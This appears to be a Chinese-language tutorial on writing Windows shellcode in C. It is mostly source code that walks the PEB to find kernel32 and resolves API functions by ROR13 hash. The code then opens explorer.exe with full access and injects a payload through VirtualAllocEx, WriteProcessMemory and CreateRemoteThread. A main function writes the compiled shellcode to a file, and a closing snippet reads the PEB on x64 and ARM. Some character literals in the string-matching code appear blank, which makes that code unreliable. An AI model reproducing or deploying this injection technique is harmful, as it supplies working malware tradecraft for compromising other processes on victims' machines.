shellcode开发的前世（老办法）今生（新方法）

#include <stdio.h>
#include <Windows.h>
#include <winternl.h>
#include <wchar.h>
#include <tlhelp32.h>

PPEB get_peb(void);
DWORD __stdcall unicode_ror13_hash(const WCHAR *unicode_string);
DWORD __stdcall ror13_hash(const char *string);
HMODULE __stdcall find_module_by_hash(DWORD hash);
HMODULE __stdcall find_kernel32(void);
FARPROC __stdcall find_function(HMODULE module, DWORD hash);
HANDLE __stdcall find_process(HMODULE kern32, const char *procname);
VOID __stdcall inject_code(HMODULE kern32, HANDLE hprocess, const char *code, DWORD size);
BOOL __stdcall strmatch(const char *a, const char *b);

void __stdcall shell_code()
{
    HMODULE kern32;
    DWORD *dwptr;
    HANDLE hProcess;
    char procname[] = {'e','x','p','l','o','r','e','r','.','e','x','e',0};
    char code[] = {0xEB, 0xFE};

    kern32 = find_kernel32();
    hProcess = find_process(kern32, (char *)procname);
    inject_code(kern32, hProcess, code, sizeof code);
}

HANDLE __stdcall find_process(HMODULE kern32, const char *procname)
{
    FARPROC createtoolhelp32snapshot = find_function(kern32, 0xE454DFED);
    FARPROC process32first = find_function(kern32, 0x3249BAA7);
    FARPROC process32next = find_function(kern32, 0x4776654A);
    FARPROC openprocess = find_function(kern32, 0xEFE297C0);
    FARPROC createprocess = find_function(kern32, 0x16B3FE72);
    HANDLE hSnapshot;
    PROCESSENTRY32 pe32;

    hSnapshot = (HANDLE)createtoolhelp32snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE)
        return INVALID_HANDLE_VALUE;

    pe32.dwSize = sizeof( PROCESSENTRY32 );

    if (!process32first(hSnapshot, &pe32))
        return INVALID_HANDLE_VALUE;

    do
    {
        if (strmatch(pe32.szExeFile, procname))
        {
            return openprocess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID);
        }
    } while (process32next(hSnapshot, &pe32));

    return INVALID_HANDLE_VALUE;
}

BOOL __stdcall strmatch(const char *a, const char *b)
{
    while (*a != '' && *b != '')
    {
        char aA_delta = 'a' - 'A';
        char a_conv = *a >= 'a' && *a <= 'z' ? *a - aA_delta : *a;
        char b_conv = *b >= 'a' && *b <= 'z' ? *b - aA_delta : *b;

        if (a_conv != b_conv)
            return FALSE;
        a++;
        b++;
    }

    if (*b == '' && *a == '')
        return TRUE;
    else
        return FALSE;
}

VOID __stdcall inject_code(HMODULE kern32, HANDLE hprocess, const char *code, DWORD size)
{
    FARPROC virtualallocex = find_function(kern32, 0x6E1A959C);
    FARPROC writeprocessmemory = find_function(kern32, 0xD83D6AA1);
    FARPROC createremotethread = find_function(kern32, 0x72BD9CDD);
    LPVOID remote_buffer;
    DWORD dwNumBytesWritten;

    remote_buffer = virtualallocex(hprocess, NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (remote_buffer == NULL)
        return;

    if (!writeprocessmemory(hprocess, remote_buffer, code, size, &dwNumBytesWritten))
        return;

    createremotethread(hprocess, NULL, 0, remote_buffer, NULL, 0, NULL);
}

HMODULE __stdcall find_kernel32(void)
{
    return find_module_by_hash(0x8FECD63F);
}

HMODULE __stdcall find_module_by_hash(DWORD hash)
{
    PPEB peb;
    LDR_DATA_TABLE_ENTRY *module_ptr, *first_mod;

    peb = get_peb();

    module_ptr = (PLDR_DATA_TABLE_ENTRY)peb->Ldr->InMemoryOrderModuleList.Flink;
    first_mod = module_ptr;

    do {
        if (unicode_ror13_hash((WCHAR *)module_ptr->FullDllName.Buffer) == hash)
            return (HMODULE)module_ptr->Reserved2[0];
        else
            module_ptr = (PLDR_DATA_TABLE_ENTRY)module_ptr->Reserved1[0];
    } while (module_ptr && module_ptr != first_mod);   // because the list wraps,

    return INVALID_HANDLE_VALUE;
}

PPEB __declspec(naked) get_peb(void)
{
    __asm {
        mov eax, fs:[0x30]
        ret
    }
}

DWORD __stdcall unicode_ror13_hash(const WCHAR *unicode_string)
{
    DWORD hash = 0;

    while (*unicode_string != 0)
    {
        DWORD val = (DWORD)*unicode_string++;
        hash = (hash >> 13) | (hash << 19); // ROR 13
        hash += val;
    }
    return hash;
}

DWORD __stdcall ror13_hash(const char *string)
{
    DWORD hash = 0;

    while (*string) {
        DWORD val = (DWORD) *string++;
        hash = (hash >> 13)|(hash << 19);  // ROR 13
        hash += val;
    }
    return hash;
}

FARPROC __stdcall find_function(HMODULE module, DWORD hash)
{
    IMAGE_DOS_HEADER *dos_header;
    IMAGE_NT_HEADERS *nt_headers;
    IMAGE_EXPORT_DIRECTORY *export_dir;
    DWORD *names, *funcs;
    WORD *nameords;
    int i;

    dos_header = (IMAGE_DOS_HEADER *)module;
    nt_headers = (IMAGE_NT_HEADERS *)((char *)module + dos_header->e_lfanew);
    export_dir = (IMAGE_EXPORT_DIRECTORY *)((char *)module + nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
    names = (DWORD *)((char *)module + export_dir->AddressOfNames);
    funcs = (DWORD *)((char *)module + export_dir->AddressOfFunctions);
    nameords = (WORD *)((char *)module + export_dir->AddressOfNameOrdinals);

    for (i = 0; i < export_dir->NumberOfNames; i++)
    {
        char *string = (char *)module + names[i];
        if (hash == ror13_hash(string))
        {
            WORD nameord = nameords[i];
            DWORD funcrva = funcs[nameord];
            return (FARPROC)((char *)module + funcrva);
        }
    }

    return NULL;
}

void __declspec(naked) END_SHELLCODE(void) {}

int main(int argc, char *argv[])
{
    FILE *output_file = fopen("shellcode.bin", "w");
    fwrite(shell_code, (int)END_SHELLCODE - (int)shell_code, 1, output_file);
    fclose(output_file);

    return 0;
}

#if defined(_WIN64)
	PebAddress = (PPEB) __readgsqword( 0x60 );
#elif defined(_M_ARM)
	// I can assure you that this is not a mistake. The C compiler improperly emits the proper opcodes
	// necessary to get the PEB.Ldr address
	PebAddress = (PPEB) ( (ULONG_PTR) _MoveFromCoprocessor(15, 0, 13, 0, 2) + 0);
	__emit( 0x00006B1B );
#else
	PebAddress = (PPEB) __readfsdword( 0x30 );
#endif

shellcode in C的缺点